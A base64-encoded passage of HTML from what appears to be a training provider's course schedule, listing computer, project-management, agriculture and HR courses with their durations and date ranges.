dCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+MDEwPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWR2YW5jZWQg b2ZmaWNlIE1hbmFnZW1lbnQgUHJvZ3JhbW1lIGZvciBTZWNyZXRhcmllczwvdGQ+PHRkIHN0 eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PC90 Ym9keT48L3RhYmxlPjxwIHN0eWxlPSJtYXJnaW46MHB4O3BhZGRpbmc6MHB4OyI+PHNwYW4g c3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fu cy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+Jm5ic3A7PC9zcGFuPjxi ciBzdHlsZT0iY29sb3I6IHJnYigzNCwgMzQsIDM0KTsgZm9udC1mYW1pbHk6IGFyaWFsLCBz YW5zLXNlcmlmOyBmb250LXNpemU6IHNtYWxsOyB3aWRvd3M6IDE7Ij48c3Ryb25nPkNPTVBV VEVSICZhbXA7IElORk9STUFUSU9OIFRFQ0hOT0xPR1kgQ09VUlNFUzwvc3Ryb25nPjwvcD48 dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHdpZHRo PSI5MzgiIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJp YWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPjx0Ym9keT48 dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+Q0lUPC9zdHJvbmc+PC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5DT1VSU0UgVElUTEU8L3N0cm9uZz48 L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkR1cmF0aW9uPC9zdHJvbmc+ PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EYXRlczwvc3Ryb25nPjwv dGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAxPC9zdHJv bmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+Q29tcHV0ZXIgYW5kIEluZm9ybWF0 aW9uIFRlY2hub2xvZ3kgZm9yIE1hbmFnZXJzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA4IC0gMTkgRmViIC8g MDEgLSAxMiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjxzdHJvbmc+MDAyPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+Q29tcHV0ZXIgYW5kIFNvZnR3YXJlIE1hbmFnZW1lbnQgU2tpbGxzIERldmVsb3Bt ZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwgLyAyNCBPY3QgLSAw NCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAw Mzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkNvbXB1dGVyIGFuZCBJ bmZvcm1hdGlvbiBTeXN0ZW0gTWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjI5IEZlYiAtIDA0IE1h ciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNDwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPkNvbXB1dGVyaXplZCBGaW5hbmNpYWwgTWFuYWdlbWVudCBmb3IgQWNjb3Vu dGFudHM8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+MDggLSAxOSBGZWIgLyAwMSAtIDEyIEF1ZyAvIDA3IC0gMTgg Tm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDU8 L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5SZWNvcmQgYW5kIERhdGEg TWFuYWdlbWVudCAoIENvbXB1dGVyaXplZCBTeXN0ZW1zICk8L3RkPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wMiAtIDA2 IE1heSAvIDA1IC0gMDkgU2VwdCAvIDE0IC0gMTggTm92PC90ZD48L3RyPjx0cj48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDY8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij5BZHZhbmNlZCBDb21wdXRlciBQcm9ncmFtbWUgRm9yIEV4ZWN1dGlv biBBc3Npc3RhbnRzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjkgRmViIC0gMDQgTWFyIC8gMjAgLSAyNCBKdW4g LyAwMyAtIDA3IE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxz dHJvbmc+MDA3PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+Q29tcHV0 ZXIgYW5kIERhdGUgU2VjdXJpdHkgTWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjAyIC0gMDYgTWF5 IC8gMDUgLSAwOSBTZXB0IC8gMTQgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwODwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPkNvbXB1dGVyIEF1ZGl0aW5nIGFuZCBJbnRlcm5hbCBDb250cm9sPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjA4IC0gMTkgRmViIC8gMDEgLSAxMiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90 cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA5PC9zdHJvbmc+PC90 ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+Q3VzdG9tZXIgQ2FyZSBhbmQgQ3VzdG9tZXIg UmVsYXRpb25zIFByb2dyYW1tZSBmb3IgU2VjcmV0YXJpZXM8L3RkPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAx NSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDEwPC9zdHJvbmc+PC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+QWR2YW5jZWQgb2ZmaWNlIE1hbmFnZW1lbnQgUHJvZ3JhbW1l IGZvciBTZWNyZXRhcmllczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8 L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVn IC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48 c3Ryb25nPjAxMTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPk1hbmFn ZW1lbnQgSW5mb3JtYXRpb24gU3lzdGVtIGZvciBNYW5hZ2VyczwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjAyIC0g MDYgTWF5IC8gMDUgLSAwOSBTZXB0IC8gMTQgLSAxOCBOb3Y8L3RkPjwvdHI+PC90Ym9keT48 L3RhYmxlPjxwIHN0eWxlPSJtYXJnaW46MHB4O3BhZGRpbmc6MHB4OyI+PHNwYW4gc3R5bGU9 ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJp ZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+Jm5ic3A7PC9zcGFuPjxiciBzdHls ZT0iY29sb3I6IHJnYigzNCwgMzQsIDM0KTsgZm9udC1mYW1pbHk6IGFyaWFsLCBzYW5zLXNl cmlmOyBmb250LXNpemU6IHNtYWxsOyB3aWRvd3M6IDE7Ij48c3Ryb25nPlBST0pFQ1QgTUFO QUdFTUVOVCBDT1VSU0VTPC9zdHJvbmc+PC9wPjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRk aW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjkzNSIgc3R5bGU9ImNvbG9yOiByZ2Io MzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXpl OiBzbWFsbDsgd2lkb3dzOiAxOyI+PHRib2R5Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+PHN0cm9uZz5QTTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxz dHJvbmc+Q09VUlNFIFRJVExFPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+PHN0cm9uZz5EdXJhdGlvbjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjxzdHJvbmc+RGF0ZXM8L3N0cm9uZz48L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij48c3Ryb25nPjAwMTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPkNvbXB1dGVyaXplZCBQcm9qZWN0IE1hbmFnZW1lbnQgKCBDUE0pPC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjA4IC0gMTkgRmViIC8gMDEgLSAxMiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90cj48 dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAyPC9zdHJvbmc+PC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UHJvamVjdCBQbGFubmluZyBhbmQgSW1wbGVtZW50 YXRpb24gKHdpdGggQ29tcHV0ZXIgQXBwbGljYXRpb25zKTwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wNCAtIDE1 IEFwciAvIDA0IC0gMTUgSnVsIC8gMjQgT2N0IC0gMDQgTm92PC90ZD48L3RyPjx0cj48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDM8L3N0cm9uZz48L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij5Qcm9qZWN0cyBNb25pdG9yaW5nICZhbXA7IEV2YWx1YXRpb24g KFBNRSk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAyMCAtIDI0IEp1biAvIDAzIC0g MDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4w MDQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5Qcm9qZWN0cyBNb25p dG9yaW5nICZhbXA7IEV2YWx1YXRpb24gKFBNRSk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDggLSAxOSBGZWIg LyAwMSAtIDEyIEF1ZyAvIDA3IC0gMTggTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+PHN0cm9uZz4wMDU8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij5Nb25pdG9yaW5nIGFuZCBFdmFsdWF0aW9uIG9mIENvbW11bml0eSBQcm9qZWN0 cyAoTUVDUCk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAyMCAtIDI0IEp1biAvIDAz IC0gMDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9u Zz4wMDY8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5QYXJ0aWNpcGF0 b3J5IFByb2plY3QgUGxhbm5pbmcgYW5kIE1hbmFnZW1lbnQgKFBQUE0pPC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ MjkgRmViIC0gMDQgTWFyIC8gMjAgLSAyNCBKdW4gLyAwMyAtIDA3IE9jdDwvdGQ+PC90cj48 dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA3PC9zdHJvbmc+PC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UHJvamVjdCBBbmFseXNpcyBhbmQgRGVzaWduIFBy b2dyYW1tZSAoUEFEUCk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90 ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAv IDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PjxzdHJvbmc+MDA4PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWR2 YW5jZWQgUHJvamVjdCBNYW5hZ2VtZW50IChBUE0pPC90ZD48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA4IC0gMTkgRmVi IC8gMDEgLSAxMiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPjxzdHJvbmc+MDA5PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+UHJvamVjdCBQcm9wb3NhbCB3cml0aW5nIGFuZCBmdW5kIHJhaXNpbmc8L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwv dGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDEwPC9zdHJv bmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWR2YW5jZWQgUHJvY3VyZW1lbnQg YW5kIFN0b3JlIG1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdl ZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDggLSAxOSBGZWIgLyAwMSAtIDEy IEF1ZyAvIDA3IC0gMTggTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+PHN0cm9uZz4wMTE8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5J bnRlcm5hdGlvbmFsIGFuZCBJbnRlcm5hbCBQcm9jdXJlbWVudCBmb3IgRG9ub3IgZnVuZGVk PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+MjkgRmViIC0gMDQgTWFyIC8gMjAgLSAyNCBKdW4gLyAwMyAtIDA3IE9j dDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDEyPC9z dHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UHJvY3VyZW1lbnQgJmFtcDsg TWF0ZXJpYWxzIE1hbmFnZW1lbnQgKHdpdGggQ29tcHV0ZXIgQXBwbGljYXRpb25zKTwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4wNCAtIDE1IEFwciAvIDA0IC0gMTUgSnVsIC8gMjQgT2N0IC0gMDQgTm92PC90 ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBweDtwYWRkaW5nOjBw eDsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTog YXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPiZuYnNw Ozwvc3Bhbj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5 OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PHN0 cm9uZz5BR1JJQ1VMVFVSRSBBTkQgQUdSTy1CVUlTTkVTUyBDT1VSU0VTPC9zdHJvbmc+PC9w Pjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lk dGg9Ijk0MCIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBh cmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PHRib2R5 Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5BQzwvc3Ryb25nPjwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+Q09VUlNFIFRJVExFPC9zdHJvbmc+ PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EdXJhdGlvbjwvc3Ryb25n PjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RGF0ZXM8L3N0cm9uZz48 L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMTwvc3Ry b25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFncmlidXNpbmVzcyBNYW5hZ2Vt ZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrczwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjA0IC0gMDggSmFuIC8gMDkgLSAxMyBNYXkgLyAyNSAtIDI5IEp1 bDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAyPC9z dHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWdyaWN1bHR1cmFsIFNjaWVu Y2U8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9 Im1hcmdpbjogMHB4OyI+MTEgLSAyMiBKYW4gLyAxNSAtIDI2IEF1ZyAvIDE5Jm5ic3A7IC0g MzAgU2VwdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+ MDAzPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+U3VzdGFpbmFibGUg QWdyaWN1bHR1cmU8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4zIFdlZWtzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAyMiBKYW4gLyAwNCAtIDIyIEp1bCAvIDA3 IC0gMjUgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9u Zz4wMDQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5BZ3JpY3VsdHVy ZSBFZHVjYXRpb248L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjUgSmFuIC0gMDUgRmViIC8gMDQgLSAxNSBKdWwg LyAxMCAtIDIxIE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxz dHJvbmc+MDA1PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWdyaWN1 bHR1cmFsIFJlc291cmNlIE1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xNSAtIDE5IEZlYiAvIDIw IC0gMjQgSnVuIC8gMDEgLSAwNSBBdWc8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij48c3Ryb25nPjAwNjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPk5hdHVyYWwgUmVzb3VyY2VzIE1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAw NCBNYXIgLyAyNSAtIDI5IEp1bCZuYnNwOyAvIDE0IC0gMTggTm92PC90ZD48L3RyPjx0cj48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDc8L3N0cm9uZz48L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij5MaXZlc3RvY2sgTWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjI5 IEZlYiAtIDA0IE1hciAvIDA2IC0gMTAgSnVuIC8gMjQgLSAyOCBPY3Q8L3RkPjwvdHI+PHRy Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwODwvc3Ryb25nPjwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPkRhaXJ5IE1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjUg SmFuIC0gMDUgRmViIC8gMjUgSnVseSAtIDA1IEF1ZyAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+ PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA5PC9zdHJvbmc+ PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QW5pbWFsIEJyZWVkaW5nIE1hbmFnZW1l bnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9 Im1hcmdpbjogMHB4OyI+MjIgRmViIC0gNyBNYXIgLyAyNiBNYXkgLSAwNiBKdW4gLyAxMyAt IDI0IE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+ MDEwPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QW5pbWFsIE51dHJp dGlvbiBNYW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjExIC0gMjIgSmFuIC8gMTUgLSAyNiBBdWcg LyAwMyAtIDE0IE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxz dHJvbmc+MDExPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UG91bHRy eSBNYW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MTUgLSAxOSBGZWIgLyAyMCAtIDI0IEp1biAvIDAx IC0gMDUgQXVnPC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBw eDtwYWRkaW5nOjBweDsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBm b250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93 czogMTsiPiZuYnNwOzwvc3Bhbj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7 IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lk b3dzOiAxOyI+PHN0cm9uZz5NQU5BR0VNRU5UICZhbXA7IEhVTUFOIFJFU09VUkNFUyBDT1VS U0VTPC9zdHJvbmc+PC9wPjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIwIiBjZWxs c3BhY2luZz0iMCIgd2lkdGg9IjkzOCIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7 IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lk b3dzOiAxOyI+PHRib2R5Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5N SFI8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkNPVVJT RSBUSVRMRTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+ RHVyYXRpb248L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25n PkRhdGVzPC9zdHJvbmc+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ PHN0cm9uZz4wMDE8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5Tb2Np byDigJMgRWNvbm9taWMgUmVmb3JtcyAmYW1wOyBQcml2YXRpemF0aW9uPC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwgLyAyNCBPY3QgLSAwNCBOb3Y8L3RkPjwvdHI+ 